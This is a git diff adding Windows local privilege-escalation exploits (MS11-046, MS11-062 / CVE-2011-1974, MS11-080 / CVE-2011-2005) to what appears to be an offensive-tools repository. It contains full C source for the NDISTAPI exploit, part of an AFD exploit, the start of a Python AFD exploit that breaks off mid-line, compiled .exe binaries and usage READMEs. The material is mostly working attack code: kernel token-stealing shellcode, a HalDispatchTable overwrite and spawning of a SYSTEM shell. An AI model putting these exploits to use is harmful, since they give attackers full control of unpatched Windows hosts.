<-| Retrieve FLINK from ActiveProcessLinks + 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks + 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process) + 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal + 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX + 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX + 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN + 0x5B, // POP EBX Pop current stack value to EBX (restore context) + 0x5A, // POP EDX Pop current stack value to EDX (restore context) + 0xC2,0x08 // RET 8 Return + }; + + printf(" [*] Shellcode assembled\n"); + + + // allocate memory (RWE permissions) for the shellcode + printf(" [*] Allocating memory\n"); + LPVOID shellcodeAddress; + shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + int errorCode = 0; + + if(shellcodeAddress == NULL) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + errorCode = GetLastError(); + // in case of ERROR_INVALID_ADDRESS + if(errorCode == 487) + { + // Attempt to access invalid address + // occurs since a fixed address is being reserved + // http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex + printf(" [!] Could not reserve entire range\n"); + printf(" [*] Rerun exploit\n"); + } + // in case of any other error + else + printf(" [-] Failed (error code: %d)\n", errorCode); + return -1; + } + + printf(" [+] Address: %#010x\n", shellcodeAddress); + + + // copy the shellcode to the allocated memory + memset(shellcodeAddress, 0x90, 0x20000); + memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode)); + printf(" [*] Shellcode copied\n"); + + + //////////////////////////////////////////////////////////////// + // EXPLOIT THE VULNERABILITY + //////////////////////////////////////////////////////////////// + + printf("[*] Exploiting vulnerability\n"); + + + // send AFD socket connect request + printf(" [*] Sending AFD socket connect request\n"); + DWORD lpInBuffer[lpInBufferSize]; + memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD))); + + lpInBuffer[3] = 0x01; + lpInBuffer[4] = 0x20; + ULONG lpBytesReturned = 0; + + if(DeviceIoControl( + (HANDLE) targetDeviceSocket, + 0x00012007, // IOCTL_AFD_CONNECT + (PVOID) lpInBuffer, sizeof(lpInBuffer), + (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0, + &lpBytesReturned, NULL + ) == 0) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx + errorCode = GetLastError(); + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + // in case of ERROR_INVALID_NETNAME + if(errorCode == 1214) + { + // AFD socket connect request successful + printf(" [+] Done\n"); + } + // in case of ERROR_NOACCESS + else if(errorCode == 998) + { + // AFD socket connect request unsuccessful - target is patched + printf(" [!] Target patched\n"); + printf(" [*] Possible security patches\n"); + for(i = 0; i < securityPatchesCount; i++) + printf(" [*] %s\n", securityPatchesPtr[i]); + return -1; + } + // in case of any other error message + else + { + // print the error code + printf(" [-] Failed (error code: %d)\n", errorCode); + return -1; + } + } + + + // elevate privileges of the current process + printf(" [*] Elevating privileges to SYSTEM\n"); + ULONG outInterval = 0; + // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html + NtQueryIntervalProfile(2, &outInterval); + printf(" [+] Done\n"); + + + // spawn shell (with elevated privileges) + printf(" [*] Spawning shell\n"); + // spawn SYSTEM shell within the current shell (remote shell friendly) + system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32"); + + // clean up and exit + printf("\n[*] Exiting SYSTEM shell\n"); + WSACleanup(); + return 1; +} + +// EoF diff --git a/97-Windows提权/MS11-046/MS11_46_k8.exe b/97-Windows提权/MS11-046/MS11_46_k8.exe new file mode 100644 index 0000000..555747e Binary files /dev/null and b/97-Windows提权/MS11-046/MS11_46_k8.exe differ diff --git a/97-Windows提权/MS11-046/README.md b/97-Windows提权/MS11-046/README.md new file mode 100644 index 0000000..d1dd451 --- /dev/null +++ b/97-Windows提权/MS11-046/README.md @@ -0,0 +1,27 @@ +# MS11-046 + +``` +The Ancillary Function Driver (AFD) supports Windows sockets applications and is contained in the afd.sys file. +The afd.sys driver runs in kernel mode and manages the Winsock TCP/IP communications protocol. An elevation of +privilege vulnerability exists where the AFD improperly validates input passed from user mode to the kernel. +An attacker must have valid logon credentials and be able to log on locally to exploit the vulnerability. +An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode +(i.e. with NT AUTHORITY\SYSTEM privileges). +``` +- The exp was from [@Tomislav Paskalev](https://www.exploit-db.com/author/?a=7919) + +Vulnerability reference: + * [MS11-046](https://technet.microsoft.com/library/security/ms11-046) + * [CVE-2011-1249](https://www.exploit-db.com/exploits/40564/) + +## Usage +``` +c:\\> MS11-046.exe +``` +caidao +![2003_k8](2003_k8.png) +2003 local +![2003](2003.png) +win7-x86 +![win7](win7.png) + diff --git a/97-Windows提权/MS11-046/ms11-046.exe b/97-Windows提权/MS11-046/ms11-046.exe new file mode 100644 index 0000000..94783d9 Binary files /dev/null and b/97-Windows提权/MS11-046/ms11-046.exe differ diff --git a/97-Windows提权/MS11-046/win7.png b/97-Windows提权/MS11-046/win7.png new file mode 100644 index 0000000..a39a407 Binary files /dev/null and b/97-Windows提权/MS11-046/win7.png differ diff --git a/97-Windows提权/MS11-062/40627.exe b/97-Windows提权/MS11-062/40627.exe new file mode 100644 index 0000000..80d3ad2 Binary files /dev/null and b/97-Windows提权/MS11-062/40627.exe differ diff --git a/97-Windows提权/MS11-062/CVE-2011-1974.c b/97-Windows提权/MS11-062/CVE-2011-1974.c new file mode 100644 index 0000000..e8d2146 --- /dev/null +++ b/97-Windows提权/MS11-062/CVE-2011-1974.c @@ -0,0 +1,538 @@ +/* +################################################################ +# Exploit Title: Windows x86 (all versions) NDISTAPI privilege escalation (MS11-062) +# Date: 2016-10-24 +# Exploit Author: Tomislav Paskalev +# Vulnerable Software: +# Windows XP SP3 x86 +# Windows XP Pro SP2 x64 +# Windows Server 2003 SP2 x86 +# Windows Server 2003 SP2 x64 +# Windows Server 2003 SP2 Itanium-based Systems +# Supported Vulnerable Software: +# Windows XP SP3 x86 +# Windows Server 2003 SP2 x86 +# Tested Software: +# Windows XP Pro SP3 x86 EN [5.1.2600] +# Windows Server 2003 Ent SP2 EN [5.2.3790] +# CVE ID: 2011-1974 +################################################################ +# Vulnerability description: +# An elevation of privilege vulnerability exists in the +# NDISTAPI.sys component of the Remote Access Service NDISTAPI +# driver. The vulnerability is caused when the NDISTAPI driver +# improperly validates user-supplied input when passing data +# from user mode to the Windows kernel. +# An attacker must have valid logon credentials and be able to +# log on locally to exploit the vulnerability. +# An attacker who successfully exploited this vulnerability could +# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM +# privileges). +################################################################ +# Exploit notes: +# Privileged shell execution: +# - the SYSTEM shell will spawn within the invoking shell/process +# Exploit compiling (Kali GNU/Linux Rolling 64-bit): +# - # i686-w64-mingw32-gcc MS11-062.c -o MS11-062.exe -lws2_32 +# Exploit prerequisites: +# - low privilege access to the target OS +# - target OS not patched (KB2566454) +# - Remote Access Service (RAS) running +# - sc query remoteaccess +# - sc start remoteaccess +################################################################ +# Patches: +# Windows XP SP3 x86 +# WindowsXP-KB2566454-x86-enu.exe +# (not available - EoL) +# Windows Server 2003 SP2 x86 +# WindowsServer2003-KB2566454-x86-enu.exe +# https://www.microsoft.com/en-us/download/details.aspx?id=27093 +################################################################ +# Thanks to: +# Ni Tao (writeup) +# Google Translate (Chinese -> Engrish) +################################################################ +# References: +# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1974 +# https://technet.microsoft.com/en-us/library/security/ms11-062.aspx +# http://www.cas.stc.sh.cn/jsjyup/pdf/2015/5/%E5%9F%BA%E4%BA%8E%E9%9D%99%E6%80%81%E6%B1%A1%E7%82%B9%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BD%AF%E4%BB%B6%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%A3%80%E6%B5%8B.pdf +# https://translate.google.com/ +################################################################ +*/ + + +#include +#include +#include +#include + +#pragma comment (lib, "ws2_32.lib") + + +//////////////////////////////////////////////////////////////// +// DEFINE DATA TYPES +//////////////////////////////////////////////////////////////// + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE, *PKPROFILE_SOURCE; + + +typedef DWORD (WINAPI *PNTQUERYINTERVAL) ( + KPROFILE_SOURCE ProfileSource, + PULONG Interval +); + + +typedef LONG NTSTATUS; + + +typedef NTSTATUS (WINAPI *PNTALLOCATE) ( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG ZeroBits, + PULONG RegionSize, + ULONG AllocationType, + ULONG Protect +); + + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Reserved[2]; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + + +typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + + +//////////////////////////////////////////////////////////////// +// FUNCTIONS +//////////////////////////////////////////////////////////////// + +BOOL IsWow64() +{ + BOOL bIsWow64 = FALSE; + LPFN_ISWOW64PROCESS fnIsWow64Process; + + fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); + + if(NULL != fnIsWow64Process) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx + if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf(" [-] Failed (error code: %d)\n", GetLastError()); + return -1; + } + } + return bIsWow64; +} + + +//////////////////////////////////////////////////////////////// +// MAIN FUNCTION +//////////////////////////////////////////////////////////////// + +int main(void) +{ + printf("[*] MS11-062 (CVE-2011-1974) x86 exploit\n"); + printf(" [*] by Tomislav Paskalev\n"); + + + //////////////////////////////////////////////////////////////// + // IDENTIFY TARGET OS ARCHITECTURE AND VERSION + //////////////////////////////////////////////////////////////// + + printf("[*] Identifying OS\n"); + + + // identify target machine's OS architecture + // in case the target machine is running a 64-bit OS + if(IsWow64()) + { + printf(" [-] 64-bit\n"); + return -1; + } + + printf(" [+] 32-bit\n"); + + + // identify target machine's OS version + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx + OSVERSIONINFOEX osvi; + ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); + osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + GetVersionEx((LPOSVERSIONINFO) &osvi); + + // define operating system version specific variables + unsigned char shellcode_KPROCESS; + unsigned char shellcode_TOKEN; + unsigned char shellcode_UPID; + unsigned char shellcode_APLINKS; + const char **securityPatchesPtr; + int securityPatchesCount; + + //////////////////////////////////////////////////////////////// + /* + OS VERSION SPECIFIC OFFSETS + + references: + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/ + */ + //////////////////////////////////////////////////////////////// + + // in case the OS version is 5.1, service pack 3 + if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3)) + { + // the target machine's OS is Windows XP SP3 + printf(" [+] Windows XP SP3\n"); + shellcode_KPROCESS = '\x44'; + shellcode_TOKEN = '\xC8'; + shellcode_UPID = '\x84'; + shellcode_APLINKS = '\x88'; + const char *securityPatches[] = {"KB2566454"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 1; + } + + // in case the OS version is 5.2, service pack 2, not R2 + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx + else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0)) + { + // the target machine's OS is Windows Server 2003 SP2 + printf(" [+] Windows Server 2003 SP2\n"); + shellcode_KPROCESS = '\x38'; + shellcode_TOKEN = '\xD8'; + shellcode_UPID = '\x94'; + shellcode_APLINKS = '\x98'; + const char *securityPatches[] = {"KB2566454"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 1; + } + + // in case the OS version is not any of the previously checked versions + else + { + // the target machine's OS is an unsupported 32-bit Windows version + printf(" [-] Unsupported version\n"); + printf(" [*] Affected 32-bit operating systems\n"); + printf(" [*] Windows XP SP3\n"); + printf(" [*] Windows Server 2003 SP2\n"); + return -1; + } + + + //////////////////////////////////////////////////////////////// + // LOCATE REQUIRED OS COMPONENTS + //////////////////////////////////////////////////////////////// + + printf("[*] Locating required OS components\n"); + + + // retrieve system information + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx + // locate "ZwQuerySystemInformation" in the "ntdll.dll" module + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx + FARPROC ZwQuerySystemInformation; + ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); + + // 11 = SystemModuleInformation + // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm + ULONG systemInformation; + ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation); + + // allocate memory for the list of loaded modules + ULONG *systemInformationBuffer; + systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer)); + + if(!systemInformationBuffer) + { + printf(" [-] Could not allocate memory"); + return -1; + } + + + // retrieve the list of loaded modules + ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL); + + // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules + ULONG i; + PVOID targetKrnlMdlBaseAddr; + HMODULE targetKrnlMdlUsrSpcOffs; + BOOL foundModule = FALSE; + PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr; + loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1); + + for(i = 0; i < *systemInformationBuffer; i++) + { + if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe")) + { + printf(" [+] ntkrnlpa.exe\n"); + targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1); + targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; + foundModule = TRUE; + break; + } + else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe")) + { + printf(" [+] ntoskrnl.exe\n"); + targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1); + targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; + foundModule = TRUE; + break; + } + } + + // base address of the loaded module (kernel space) + printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr); + + // offset address (relative to the parent process) of the loaded module (user space) + printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs); + + if(!foundModule) + { + printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n"); + return -1; + } + + // free allocated buffer space + free(systemInformationBuffer); + + + // determine the address of the "HalDispatchTable" process (kernel space) + // locate the offset fo the "HalDispatchTable" process within the target module (user space) + ULONG_PTR HalDispatchTableUsrSpcOffs; + HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable"); + + if(!HalDispatchTableUsrSpcOffs) + { + printf(" [-] Could not find HalDispatchTable\n"); + return -1; + } + + printf(" [+] HalDispatchTable\n"); + printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs); + + // calculate the address of "HalDispatchTable" in kernel space + // 1. identify the base address of the target module in kernel space + // 2. previous step's result [minus] the load address of the same module in user space + // 3. previous step's result [plus] the address of "HalDispatchTable" in user space + // EQUIVALENT TO: + // 1. determine RVA of HalDispatchTable + // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it. + // 2. previous step's result [plus] base address of target module in kernel space + ULONG_PTR HalDispatchTableKrnlSpcAddr; + HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs; + HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr; + + + // locate "NtQueryIntervalProfile" in the "ntdll.dll" module + PNTQUERYINTERVAL NtQueryIntervalProfile; + NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); + + if(!NtQueryIntervalProfile) + { + printf(" [-] Could not find NtQueryIntervalProfile\n"); + return -1; + } + + printf(" [+] NtQueryIntervalProfile\n"); + printf(" [*] Address: %#010x\n", NtQueryIntervalProfile); + + + //////////////////////////////////////////////////////////////// + // CREATE TOKEN STEALING SHELLCODE + //////////////////////////////////////////////////////////////// + + printf("[*] Creating token stealing shellcode\n"); + + + // construct the token stealing shellcode + unsigned char shellcode[] = + { + 0x52, // PUSH EDX Save EDX on the stack (save context) + 0x53, // PUSH EBX Save EBX on the stack (save context) + 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0) + 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure + 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure + 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX + 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN + 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks + 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks + 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process) + 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal + 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX + 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX + 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN + 0x5B, // POP EBX Pop current stack value to EBX (restore context) + 0x5A, // POP EDX Pop current stack value to EDX (restore context) + 0xC2,0x08 // RET 8 Return + }; + + printf(" [*] Shellcode assembled\n"); + + + // allocate memory (RWE permissions) for the shellcode + printf(" [*] Allocating memory\n"); + LPVOID shellcodeAddress; + shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + if(shellcodeAddress == NULL) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf(" [-] Failed (error code: %d)\n", GetLastError()); + return -1; + } + + printf(" [+] Address: %#010x\n", shellcodeAddress); + + + // copy the shellcode to the allocated memory + memcpy((shellcodeAddress), shellcode, sizeof(shellcode)); + printf(" [*] Shellcode copied\n"); + + + //////////////////////////////////////////////////////////////// + // EXPLOIT THE VULNERABILITY + //////////////////////////////////////////////////////////////// + + printf("[*] Exploiting vulnerability\n"); + + + // open the vulnerable device driver + HANDLE targetDeviceHandle; + ULONG dwReturnSize; + int errorCode = 0; + + printf(" [*] Opening NDISTAPI device driver\n"); + // https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx + targetDeviceHandle = CreateFile("\\\\.\\NDISTAPI", GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0); + + // in case the function fails + if(targetDeviceHandle == INVALID_HANDLE_VALUE) + { + // the device driver was not opened successfully + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx + errorCode = GetLastError(); + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + // in case of ERROR_FILE_NOT_FOUND + if(errorCode == 2) + { + // the vulnerable service is not running + printf(" [!] Remote Access Service not started\n"); + printf(" [*] run \"sc start remoteaccess\"\n"); + return -1; + } + // in case of any other error message + else + { + printf(" [-] Failed (error code: %d)\n", errorCode); + return -1; + } + } + // in case the function succeeds + else + { + // the device driver was opened succesfully + printf(" [+] Done\n"); + } + + + // copy the shellcode address to the input buffer + unsigned char InputBuffer[8]={0}; + memcpy((InputBuffer + 4), &shellcodeAddress, sizeof(shellcodeAddress)); + + + // trigger vulnerability (cause arbitrary memory overwrite) + printf(" [*] Calling vulnerable function\n"); + if(DeviceIoControl( + targetDeviceHandle, + 0x8fff23d4, // DoLineCreateWork + (PVOID) InputBuffer, sizeof(InputBuffer), + (PVOID) (HalDispatchTableKrnlSpcAddr), 0, + &dwReturnSize, NULL + ) == 0) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx + errorCode = GetLastError(); + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + // in case of ERROR_INSUFFICIENT_BUFFER + if(errorCode == 122) + { + // target is patched + printf(" [!] Target patched\n"); + printf(" [*] Possible security patches\n"); + for(i = 0; i < securityPatchesCount; i++) + printf(" [*] %s\n", securityPatchesPtr[i]); + return -1; + } + // in case of any other error message + else + { + // print the error code + printf(" [-] Failed (error code: %d)\n", errorCode); + return -1; + } + } + else + printf(" [+] Done\n"); + + + // elevate privileges of the current process + printf(" [*] Elevating privileges to SYSTEM\n"); + ULONG outInterval = 0; + // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html + NtQueryIntervalProfile(2, &outInterval); + printf(" [+] Done\n"); + + + // spawn shell (with elevated privileges) + printf(" [*] Spawning shell\n"); + // spawn SYSTEM shell within the current shell (remote shell friendly) + system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32"); + + // exit + printf("\n[*] Exiting SYSTEM shell\n"); + return 1; +} + +// EoF diff --git a/97-Windows提权/MS11-062/MS11-062.exe b/97-Windows提权/MS11-062/MS11-062.exe new file mode 100644 index 0000000..a095008 Binary files /dev/null and b/97-Windows提权/MS11-062/MS11-062.exe differ diff --git a/97-Windows提权/MS11-062/README.md b/97-Windows提权/MS11-062/README.md new file mode 100644 index 0000000..74f4421 --- /dev/null +++ b/97-Windows提权/MS11-062/README.md @@ -0,0 +1,24 @@ +# MS11-062 + +``` +An elevation of privilege vulnerability exists in the NDISTAPI.sys component of the +Remote Access Service NDISTAPI driver.The vulnerability is caused when the NDISTAPI +driver improperly validates user-supplied input when passing data from user mode +to the Windows kernel. An attacker must have valid logon credentials and be able +to log on locally to exploit the vulnerability. An attacker who successfully +exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM privileges) +``` +- The exp was from [@Tomislav Paskalev](https://www.exploit-db.com/author/?a=7919) + +Vulnerability reference: + * [MS11-062](https://technet.microsoft.com/library/security/ms11-062) + * [CVE-2011-1974](https://www.exploit-db.com/exploits/40627/) + +## Usage +If Admin have enable the **routing and remote access** service +![start_service](service_st.png) + +c:\\> MS11-62.exe + +![win2003](win2003.png) + diff --git a/97-Windows提权/MS11-062/service_st.png b/97-Windows提权/MS11-062/service_st.png new file mode 100644 index 0000000..edbccbb Binary files /dev/null and b/97-Windows提权/MS11-062/service_st.png differ diff --git a/97-Windows提权/MS11-062/win2003.png b/97-Windows提权/MS11-062/win2003.png new file mode 100644 index 0000000..78ecbbe Binary files /dev/null and b/97-Windows提权/MS11-062/win2003.png differ diff --git a/97-Windows提权/MS11-080/2003_k8.png b/97-Windows提权/MS11-080/2003_k8.png new file mode 100644 index 0000000..5d28633 Binary files /dev/null and b/97-Windows提权/MS11-080/2003_k8.png differ diff --git a/97-Windows提权/MS11-080/CVE-2011-2005.py b/97-Windows提权/MS11-080/CVE-2011-2005.py new file mode 100644 index 0000000..d20bbb3 --- /dev/null +++ b/97-Windows提权/MS11-080/CVE-2011-2005.py @@ -0,0 +1,268 @@ +################################################################################ +######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ######## +######### Author: ryujin@offsec.com - Matteo Memelli ######## +######### Spaghetti & Pwnsauce ######## +######### yuck! 0xbaadf00d Elwood@mac&cheese.com ######## +######### ######## +######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ######## +######### for helping out! ######## +######### ######## +######### To my Master Shifu muts: ######## +######### "So that's it, I just need inner peace?" ;) ######## +######### ######## +######### Exploit tested on the following 32bits systems: ######## +######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ######## +################################################################################ + +from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, + c_char, c_short, c_ushort, c_int, c_uint, c_ulong, + c_void_p, c_long, c_char_p) +from ctypes.wintypes import HANDLE, DWORD +import socket, time, os, struct, sys +from optparse import OptionParser + +usage = "%prog -O TARGET_OS" +parser = OptionParser(usage=usage) +parser.add_option("-O", "--target-os", type="string", + action="store", dest="target_os", + help="Target OS. Accepted values: XP, 2K3") +(options, args) = parser.parse_args() +OS = options.target_os +if not OS or OS.upper() not in ['XP','2K3']: + parser.print_help() + sys.exit() +OS = OS.upper() + +kernel32 = windll.kernel32 +ntdll = windll.ntdll +Psapi = windll.Psapi + +def findSysBase(drvname=None): + ARRAY_SIZE = 1024 + myarray = c_ulong * ARRAY_SIZE + lpImageBase = myarray() + cb = c_int(1024) + lpcbNeeded = c_long() + drivername_size = c_long() + drivername_size.value = 48 + Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) + for baseaddy in lpImageBase: + drivername = c_char_p("\x00"*drivername_size.value) + if baseaddy: + Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, + drivername_size.value) + if drvname: + if drivername.value.lower() == drvname: + print "[+] Retrieving %s info..." % drvname + print "[+] %s base address: %s" % (drvname, hex(baseaddy)) + return baseaddy + else: + if drivername.value.lower().find("krnl") !=-1: + print "[+] Retrieving Kernel info..." + print "[+] Kernel version:", drivername.value + print "[+] Kernel base address: %s" % hex(baseaddy) + return (baseaddy, drivername.value) + return None + +print "[>] MS11-080 Privilege Escalation Exploit" +print "[>] Matteo Memelli - ryujin@offsec.com" +print "[>] Release Date 28/11/2011" + +WSAGetLastError = windll.Ws2_32.WSAGetLastError +WSAGetLastError.argtypes = () +WSAGetLastError.restype = c_int +SOCKET = c_int +WSASocket = windll.Ws2_32.WSASocketA +WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) +WSASocket.restype = SOCKET +closesocket = windll.Ws2_32.closesocket +closesocket.argtypes = (SOCKET,) +closesocket.restype = c_int +connect = windll.Ws2_32.connect +connect.argtypes = (SOCKET, c_void_p, c_int) +connect.restype = c_int + +class sockaddr_in(Structure): + _fields_ = [ + ("sin_family", c_short), + ("sin_port", c_ushort), + ("sin_addr", c_ulong), + ("sin_zero", c_char * 8), + ] + +## Create our deviceiocontrol socket handle +client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, + None, 0, 0) +if client == ~0: + raise OSError, "WSASocket: %s" % (WSAGetLastError(),) +try: + addr = sockaddr_in() + addr.sin_family = socket.AF_INET + addr.sin_port = socket.htons(4455) + addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 + ## We need to connect to a closed port, socket state must be CONNECTING + connect(client, byref(addr), sizeof(addr)) +except: + closesocket(client) + raise + +baseadd = c_int(0x1001) +MEMRES = (0x1000 | 0x2000) +PAGEEXE = 0x00000040 +Zerobits = c_int(0) +RegionSize = c_int(0x1000) +written = c_int(0) +## This will trigger the path to 